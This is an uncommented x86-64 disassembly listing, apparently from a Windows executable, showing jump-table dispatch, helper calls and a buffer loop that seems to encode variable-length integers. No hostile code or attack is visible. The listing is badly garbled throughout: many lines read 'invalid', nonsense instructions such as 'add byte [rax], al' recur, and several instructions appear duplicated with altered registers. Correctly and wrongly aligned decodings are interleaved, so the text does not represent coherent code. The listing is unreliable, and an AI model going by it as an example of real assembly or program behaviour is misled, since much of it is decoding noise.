movabs al, byte [0x4b92deb000002]
add byte [rax], al
invalid
mov ecx, 4
add byte [rax + 0x3b], cl
mov word [rax + rbx*4], fs
add byte [rax], al
cmp rcx, qword [rsp + 0x98]
je 0x140029b34
invalid
sahf
add dword [rax], eax
invalid
add byte [rdi], cl
test byte [rsi + 0x48000001], bl
inc edi
inc rdi
inc r15
mov rcx, r15
mov r14, qword [rsp + 0x2a0]
movabs al, byte [0x841f0f66000002]
add byte [rax], al
add byte [rax], al
invalid
movabs al, byte [0x841f0f66000002]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
iretd
mov r15, rcx
mov ecx, 0
cmp r15, rbx
jae 0x1400299b0
lea rax, [r15 + r15*2]
cmp qword [r13 + rax*8], 0
je 0x140029e4d
lea rax, [rax*8]
add rax, r13
mov rcx, qword [rax + 0x10]
mov rdx, rcx
and rdx, rsi
mov r8, r15
mov eax, edi
sub r8, rdx
and r8, rsi
cmp r8, rdi
jb 0x140029eca
cmp rcx, r9
jne 0x140029996
mov rbp, qword [rax + 8]
lea r14, [r11 + rbp]
cmp qword [rsp + 0x208], r14
jbe 0x14002b45d
mov rax, qword [rsp + 0x450]
add rax, r14
xor ecx, ecx
cmp rax, r10
jb 0x140029a26
mov rdx, r10
jmp 0x140029a28
xor edx, edx
sub rax, rdx
lea rax, [rax + rax*2]
shl rax, 5
movzx edx, byte [r12 + rax + 0x50]
lea r8d, [rdx - 2]
cmp r8b, 6
clc
invalid
jae case.default.0x140029a59
clc
invalid
dec dl
movzx ecx, dl
movzx ecx, cl
lea r8, [0x1401762a0]
movsxd rdx, dword [r8 + rcx*4]
add rdx, r8
jmp rdx
cmp qword [rsp + 0x98], 0
jne 0x140029996
add rax, r12
cmp qword [rsp + 0x298], 0
sete dl
mov rcx, qword [rax + 0x10]
test rcx, rcx
setne r8b
cmp r8b, dl
je 0x140029996
test rcx, rcx
je case.0x140019144.638
mov rcx, qword [rsp + 0x290]
cmp qword [rax + 0x20], rcx
jne 0x140029996
mov rcx, qword [rax + 0x18]
mov rdx, qword [rsp + 0x390]
mov r8, qword [rsp + 0x290]
mov qword [rsp + 0x288], r9
mov qword [rsp + 0x3f0], r10
mov qword [rsp + 0x200], r11
call fcn.1401068d0
mov r11, qword [rsp + 0x200]
add byte [rax], al
add byte [rax], al
mov r10, qword [rsp + 0x3f0]
mov r9, qword [rsp + 0x288]
test eax, eax
jne 0x140029996
jmp 0x140029b34
mov ecx, 2
jmp case.0x140029a59.1
add byte [rax], al
add cl, ch
cmp esi, 0xffffffff
invalid
mov ecx, 3
jmp case.0x140029a59.1
mov ecx, 5
jmp case.0x140029a59.1
mov ecx, 6
jmp case.0x140029a59.1
add byte [rax], al
add cl, ch
invalid
movzx ecx, byte [rsp + 0x278]
cmp byte [rax + 0x18], cl
sbb byte [rdi], cl
test dword [rdx - 2], esp
invalid
invalid
sbb byte [rdi], cl
test dword [rdx - 2], esp
invalid
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
add eax, dword [rax]
invalid
and al, 0xa0
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3b0], cl
add eax, dword [rax]
invalid
movabs al, byte [0xb0248c280f000003]
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], dl
and al, 0xc0
add eax, dword [rax]
invalid
movaps xmm2, xmmword [rsp + 0x3c0]
and al, 0xc0
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3d0], bl
movaps xmm3, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x210], xmm0
sub dword [rsp + 0x210], eax
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x240], xmm3
and al, 0x20
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], ebx
movaps xmmword [rsp + 0x230], xmm2
mov r13, qword [rsp + 0x3e0]
mov qword [rsp + 0x250], r13
movzx eax, word [rsp + 0x210]
mov word [rsp + 0x298], ax
mov r8, qword [rsp + 0x220]
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x278], rax
movzx eax, byte [rsp + 0x21f]
shl eax, 0x10
movzx ecx, word [rsp + 0x21d]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x219]
or rax, rcx
mov rcx, qword [rsp + 0x211]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add al, 0
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add al, 0
add byte [rax + 0xf], cl
movsb byte [rdi], byte [rsi]
enter 0x4808, 0xffffffffffffff89
test byte [rax + rcx*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add al, 0
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add al, 0
add byte [rax + 0xf], cl
movsb byte [rdi], byte [rsi]
enter 0x4808, 0xffffffffffffff89
test byte [rax + rcx*4], ah
add al, byte [rax]
add byte [rax], al
mov eax, r13d
add byte [rax], al
mov eax, r13d
or al, 0xf8
mov byte [rsp + 0x290], al
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
and al, 0x40
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rdi], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
mov esp, 0xb024
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
or byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rax*2], ah
and al, 0x40
and al, 0x40
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rdi], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
mov esp, 0xb024
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
or byte [rdx], al
add byte [rax], al
mov qword [rsp + 0xa8], r13
mov dword [rsp + 0xa8], ebp
mov qword [rsp + 0x98], r8
mov qword [rsp + 0x200], r11
add al, byte [rax]
invalid
and al, 0x98
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], cl
and al, 0
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*2], ah
add al, 0
mov rax, qword [rsp + 0x450]
add rax, r14
add byte [rcx + rax - 0x10], cl
cmp rax, r10
mov ecx, 0
add byte [rax], al
sar byte [rcx], 1
add byte [rax], al
cmovae rcx, r10
sub rax, rcx
lea rbx, [rax + rax*2]
lea ebx, [rax + rax*2]
lea ebx, [rax + rax*2]
shl rbx, 5
movzx eax, byte [r12 + rbx + 0x50]
lea ecx, [rax - 2]
invalid
invalid
dec al
cmp cl, 6
movzx ecx, al
mov eax, 0
cmovae ecx, eax
lea rax, [r12 + rbx + 0x10]
movzx ecx, cl
lea rdx, [0x1401762bc]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
invalid
cmp byte [rsp + 0x290], 0xfa
mov esp, 0x29024
add dl, bh
jae 0x140029e20
mov rcx, qword [rsp + 0x390]
cmp qword [rax + 0x30], rcx
jne 0x140029e20
mov word [rax + rdx*4], fs
add eax, dword [rax]
add byte [rax + 0x39], cl
xor byte [rdi], cl
test dword [rbp + 1], ebx
add byte [rax], al
mov rcx, qword [rax + 0x28]
mov rdx, qword [rsp + 0x3f0]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x90
add eax, dword [rax]
add cl, ch
jmp 0x140029cda
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x90
add eax, dword [rax]
add cl, ch
jmp 0x140029cda
add byte [rax], al
cmp r13b, 5
je 0x140029dad
invalid
add byte [rax], al
invalid
mov dword [rax], 0x35e90000
add dword [rax], eax
add byte [rcx - 0x80], al
cmp r13b, 3
jne 0x140029e20
movzx ecx, word [rsp + 0x298]
cmp byte [rax], cl
jne 0x140029e20
movzx ecx, word [rsp + 0x298]
cmp cl, 0xa
je 0x140029dad
movzx ecx, cl
jmp 0x140029e20
cmp r13b, 3
jne 0x140029e20
movzx ecx, word [rsp + 0x298]
cmp byte [rax], cl
jne 0x140029e20
movzx ecx, word [rsp + 0x298]
cmp cl, 0xa
je 0x140029dad
movzx ecx, cl
cmp ecx, 9
jne 0x14002a2f2
movzx ecx, word [rax + 0xd]
movzx edx, byte [rax + 0xf]
shl edx, 0x10
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rax + 9]
or rcx, rdx
mov rdx, qword [rax + 1]
xor rdx, qword [rsp + 0x4e8]
add al, 0
add byte [rax + 0x33], cl
mov word [rax + rsi*8], fs
add al, 0
invalid
add al, 0
add byte [rax + 0x33], cl
mov word [rax + rsi*8], fs
add al, 0
add byte [rcx - 0x48], cl
invalid
invalid
movabs r8, 0xffffffffffffff
and rcx, r8
mov r8, qword [rsp + 0x98]
or rcx, rdx
jne 0x140029e20
cmp byte [rax + 0x10], r8b
jne 0x140029e20
jmp 0x14002a2f2
cmp r13b, 4
je 0x140029dad
jmp 0x140029e20
cmp r13b, 2
jne 0x140029e20
std
add cl, byte [rdi]
test dword [rcx + 0x4c000000], edx
cmp dword [rax + 0x10], eax
add byte [rax], al
cmp qword [rax + 0x10], r8
jne 0x140029e20
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x288]
mov edx, dword [rsp + 0x288]
mov edx, dword [rsp + 0x288]
add byte [rax], al
jmp 0x140029dbf
cmp r13b, 6
cmp ch, 6
jne 0x140029e20
cmp qword [rax + 0x10], r8
jne 0x140029e20
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x278]
mov r8, qword [rsp + 0x98]
mov rsi, r9
mov r13, r10
call fcn.1401068d0
mov r8, qword [rsp + 0x98]
mov r11, qword [rsp + 0x200]
mov r10, r13
mov r13, qword [rsp + 0xa8]
mov r9, rsi
mov rsi, qword [rsp + 0x208]
test eax, eax
jne 0x140029e20
invalid
jmp 0x14002a2f2
cmp r13b, 7
jne 0x140029e20
movzx ecx, word [rsp + 0x298]
cmp word [rax], cx
je 0x14002a2f2
add al, 0
invalid
add al, 0
add byte [rdi], cl
invalid
nop dword [rax + rax]
add byte [rcx + rdi - 0xa], cl
cmp rsi, r14
jbe 0x14002b475
cmp qword [r12 + rbx], 0
je 0x14002a062
invalid
add byte [rcx + rax - 0x1d], cl
add rbx, r12
mov rbp, qword [rbx + 8]
lea r14, [r11 + rbp]
xor al, 0x2b
xor al, 0x2b
cmp rsi, r14
ja 0x140029c50
invalid
invalid
jmp 0x14002b48d
mov rax, qword [rsp + 0xa8]
mov byte [rsp + 0x38], al
and al, 0x38
and al, 0x38
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
jl 0x140029e90
and byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x7c], cl
lea eax, [rsp + 0x3a0]
jl 0x140029e90
and byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x7c], cl
lea eax, [rsp + 0x3a0]
invalid
out 0x1a, al
lea eax, [rsp + 0x3a0]
call fcn.14002b970
add byte [rax], al
mov rax, qword [rsp + 0xc0]
add byte [rax], al
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
or dword [rax + 1], 0xac8d4cc8
and al, 0x60
add dword [rax], eax
add byte [rax], al
or dword [rax + 1], 0xac8d4cc8
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
invalid
pushfq
add byte [rax], al
mov rbx, qword [rsp + 0x280]
and al, 0x80
add al, byte [rax]
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0xb0]
invalid
invalid
movsb byte [rdi], byte [rsi]
mov rdi, qword [rsp + 0xb0]
mov r12, qword [rsp + 0x260]
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add bh, bh
jmp rax
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add bh, bh
jmp rax
invalid
mov rax, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x398]
mov edx, dword [rsp + 0x398]
mov edx, dword [rsp + 0x398]
lea r8, [rsp + 0x3a0]
call fcn.14002b970
mov rax, qword [rsp + 0xc0]
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
pushfq
and al, 0x80
add al, byte [rax]
add byte [rax - 0x75], cl
mov esp, 0xb024
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add bh, bh
jmp rax
ret
pushfq
and al, 0x80
add al, byte [rax]
add byte [rax - 0x75], cl
mov esp, 0xb024
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add bh, bh
jmp rax
invalid
mov rsi, qword [rsp + 0xc8]
mov esi, dword [rsp + 0xc8]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rsi, 0x7f
jae 0x140029f70
invalid
mov rbp, rsi
cmc
cmp rcx, rax
je 0x140029809
jmp 0x140029822
cmp rcx, rax
jne 0x140029f8e
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
mov byte [rdx + rax], 0xff
inc rax
add al, 2
dec dword [rax - 1]
ror byte [rax - 0x77], 0x84
invalid
invalid
invalid
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aa01
adc al, 0
invalid
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x27
invalid
adc al, 0
add byte [rax - 0x7d], cl
mov byte [rcx + 0x24448948], 0x60
and al, 0x60
add rsi, 0xffffffffffffff81
mov qword [rsp + 0x60], rax
and al, 0x60
and al, 0x60
cmp rsi, 0x80
jb 0x14002a01d
invalid
invalid
nop dword [rax]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
cmp ecx, eax
cmp ecx, eax
jne 0x140029fe3
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
cmp eax, ecx
cmp eax, ecx
ja case.default.0x14002aa01
mov qword [rsp + 0x60], rax
mov rcx, rsi
shr rcx, 7
cmp rsi, 0x3fff
mov rsi, rcx
ja 0x140029fc0
invalid
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002a040
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140012910
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], sil
inc rax
mov qword [rsp + 0x80], rax
add byte [rax + 0x39], cl
enter 0xffffffffffff860f, 0xffffffffffffffe6
idiv edi
invalid
jmp case.default.0x14002aa01
test r13b, r13b
je case.default.0x14002a10a
invalid
add byte [rax], al
invalid
cmp byte [rsp + 0x290], 0xfa
jae case.default.0x14002a10a
add r14, 0x3e
mov rax, qword [rsp + 0x3e0]
loopne 0x14002a086
add byte [rax], al
lea rcx, [rsp + 0xd0]
lea ecx, [rsp + 0xd0]
add byte [rax], al
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movabs al, byte [0xb0248c280f000003]
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], dl
add byte [rax], al
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xc0], 1
mov rax, qword [rsp + 0xc0]
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
mov r14, qword [rsp + 0x2a0]
mov r12, qword [rsp + 0x260]
jmp rax
mov qword [rsp + 0x288], r9
lea rcx, [rsp + 0x210]
call fcn.14001d870
add rax, qword [rsp + 0x4f8]
mov rsi, qword [rsp + 0x88]
mov word [rax + rdx], fs
add al, byte [rax]
add al, ch
invalid
dec dword [rax + 3]
test byte [rax + rdi*8], ah
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
mov esi, dword [rsp + 0x88]
mov qword [rsi + 0x60], rax
mov edx, 1
mov rcx, qword [rsp + 0x398]
mov r8, rbp
call fcn.14002bc40
mov rax, qword [rsp + 0x3e0]
lea rcx, [rsp + 0x168]
and al, 0x68
add dword [rax], eax
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x3a0]
sub byte [rsp + 0x3a0], al
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
add eax, dword [rax]
invalid
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [rsi + 0x58]
inc rax
mov qword [rsi + 0x58], rax
pop rax
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x48]
cmp rdx, rcx
lea r13, [rsp + 0x160]
add byte [rax - 0x75], cl
pushfq
and al, 0x80
add al, byte [rax]
add byte [rbp + 0x21], dh
add byte [rax - 0x75], cl
pushfq
and al, 0x80
add al, byte [rax]
add byte [rbp + 0x21], dh
mov rcx, qword [rsp + 0x4d8]
call fcn.14002bf60
mov rax, qword [rsp + 0x88]
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
push rax
mov rax, qword [rax + 0x58]
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
push rax
mov rax, qword [rax + 0x58]
mov r10, qword [rsp + 0x88]
mov r8, qword [r10 + 0x40]
dec r8
and al, 0x88
add byte [rax], al
add byte [rbp - 0x75], cl
dec r8
mov r9, r8
mov ecx, eax
add r9, rcx
cmovae r9, r8
mov r8, qword [r10 + 0x38]
enter 0xffffffffffff8b4d, 0x42
cmp byte [rbp - 0x77], cl
mov dword [rdx + 0x40], ecx
inc rdx
mov eax, dword [rdx + 0x38]
mov qword [r10 + 0x40], r9
inc rdx
mov qword [r10 + 0x48], rdx
lea r10, [r9 + r9*2]
shl r10, 5
add eax, 0x1004c74b
add byte [rax], al
add byte [rax], al
add eax, 0x1004c74b
add al, 0x10
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x160]
movups xmm1, xmmword [rsp + 0x170]
add byte [rdi], cl
adc byte [rsp + 0x170], cl
movups xmm2, xmmword [rsp + 0x180]
adc byte [rsp + 0x180], dl
and al, 0x80
add dword [rax], eax
add byte [rdi], cl
movups xmm3, xmmword [rsp + 0x190]
movups xmm3, xmmword [rsp + 0x190]
movups xmmword [r8 + r10 + 8], xmm0
adc byte [rax], cl
movups xmmword [r8 + r10 + 0x18], xmm1
movups xmmword [r8 + r10 + 0x28], xmm2
adc byte [rax], ch
adc byte [rax], ch
movups xmmword [r8 + r10 + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x1a0]
movups xmmword [r8 + r10 + 0x48], xmm0
movups xmmword [rax + rdx + 0x48], xmm0
movups xmmword [rax + rdx + 0x48], xmm0
mov r11, qword [rsp + 0x288]
mov qword [r8 + r10 + 0x58], r11
pop rax
mov dword [rax + rdx + 0x58], ebx
pop rax
add rbp, rax
cmp rbp, rdx
mov r12, qword [rsp + 0x260]
mov r10, qword [rsp + 0x50]
push rsp
and al, 0x50
jae 0x14002a2a0
add r9, rbp
cmp r9, rcx
leave
mov edx, 0
cmovae rdx, rcx
sub r9, rdx
lea rcx, [r9 + r9*2]
shl rcx, 5
neg rax
mov qword [r8 + rcx], 1
add eax, 0x49d8f748
mov dword [rax + rcx], 1
mov qword [r8 + rcx + 8], rax
or byte [rax], cl
cmp byte [rsp + 0xbc], 0
je case.default.0x14002a2f0
add r14, 0x3e
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], 0
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc0], 3
mov rax, qword [rsp + 0xc0]
lea rcx, [0x1401762d8]
mov qword [rsp + 0xc0], 3
add byte [rax], al
mov rax, qword [rsp + 0xc0]
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r14, qword [rsp + 0x2a0]
or dword [rax + 1], 0xb48b4cc8
and al, 0xa0
add al, byte [rax]
add bh, bh
jmp rax
invalid
add byte [rax], al
jmp rax
add r14, 0x3e
add esi, 0x3e
mov rax, qword [rsp + 0x3e0]
lea rcx, [rsp + 0xd0]
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x3a0]
rol byte [rax], 1
add byte [rax], al
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
and byte [rdi], cl
adc dword [rcx + 0x10], ecx
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc8], r14
mov ah, 0x24
enter 0, 0
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
rol byte [rax], 0
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0xc0]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14bf7c
invalid
adc al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14bf7c
invalid
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
add byte [rax], al
add byte [rdx], 0
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xa0
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5c], cl
mov esp, dword [rsp + 0x260]
jmp rax
invalid
mov r14, qword [rsp + 0x2a0]
mov r12, qword [rsp + 0x260]
mov esp, dword [rsp + 0x260]
jmp rax
mov qword [rsp + 0xc8], r10
mov dword [rsp + 0xc8], edx
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xc0], 3
mov dword [rsp + 0xc0], 3
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x1401762d8]
mov rax, qword [rsp + 0xc0]
lea rcx, [0x1401762d8]
lea ecx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r14, qword [rsp + 0x2a0]
add bh, bh
invalid
mov rsi, qword [rsp + 0xc8]
lea rcx, [rsp + 0xd0]
call fcn.14002c000
sbb al, 0
add byte [rcx - 0x77], cl
ror byte [rdi], 1
mov dh, 0x8c
and al, 0x10
add dword [rax], eax
invalid
add byte [rax], al
add al, ch
sbb al, 0
add byte [rcx - 0x77], cl
ror byte [rdi], 1
mov dh, 0x8c
and al, 0x10
add dword [rax], eax
add byte [rbp - 0x57f07af], cl
cli
add byte [rax], al
lea edx, [rcx - 8]
push rcx
clc
cmp dl, 0xfa
setb dl
test cl, cl
ret 0xc984
setne r9b
and r9b, dl
and cl, dl
and cl, dl
lea rcx, [rsp + 0x58]
and al, 0x58
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rsi
mov rdx, rax
call fcn.14002c140
sbb eax, 0x3fe90000
or al, byte [rax]
invalid
sbb eax, 0x3fe90000
add cl, ch
invalid
or al, byte [rax]
add byte [rax + 0x3a], bh
mov eax, 0x3a
mov eax, 0x3a
add byte [rax], al
add cl, ch
pop rdx
jmp 0x14002a419
jmp 0x140028f75
invalid
mov eax, 0x36
jmp 0x140028f75
add byte [rax], al
add cl, ch
push rax
jmp 0x14002a423
invalid
mov eax, 0x35
jmp 0x140028f75
add byte [rax], al
add cl, ch
jmp 0x14002a42d
invalid
mov eax, 0x33
jmp 0x140028f75
add byte [rax], al
add cl, ch
cmp al, 0xeb
invalid
mov eax, 0x3b
jmp 0x140028f75
add byte [rax], al
add cl, ch
xor ch, bl
invalid
mov eax, 0x21
jmp 0x140028f75
add byte [rax], al
add cl, ch
sub bl, ch
invalid
mov eax, 0x24
jmp 0x140028f75
mov eax, 1
mov ecx, 0x1c
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
add byte [rax], al
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
add byte [rdi], cl
adc byte [rsp + 0x138], dl
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
lea rcx, [0x1401762d8]
or eax, 0x14be1d
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 1
mov ecx, 0x28
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
rol byte [rax], 1
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
add byte [rax], al
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
mov eax, 0x26
jmp 0x140028f75
add byte [rax], al
add cl, ch
cmp ch, dl
invalid
mov eax, 0x19
jmp 0x140028f75
add byte [rax], al
add cl, ch
xor dl, ch
invalid
mov eax, 0x30
jmp 0x140028f75
mov eax, 0x2b
jmp 0x140028f75
mov eax, 1
mov ecx, 0x37
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
add byte [rdi], cl
adc byte [rsp + 0x138], dl
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
add byte [rax], al
lea rcx, [0x1401762d8]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
mov eax, 0x25
jmp 0x140028f75
mov eax, 0x1b
jmp 0x140028f75
mov eax, 1
mov ecx, 0x22
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
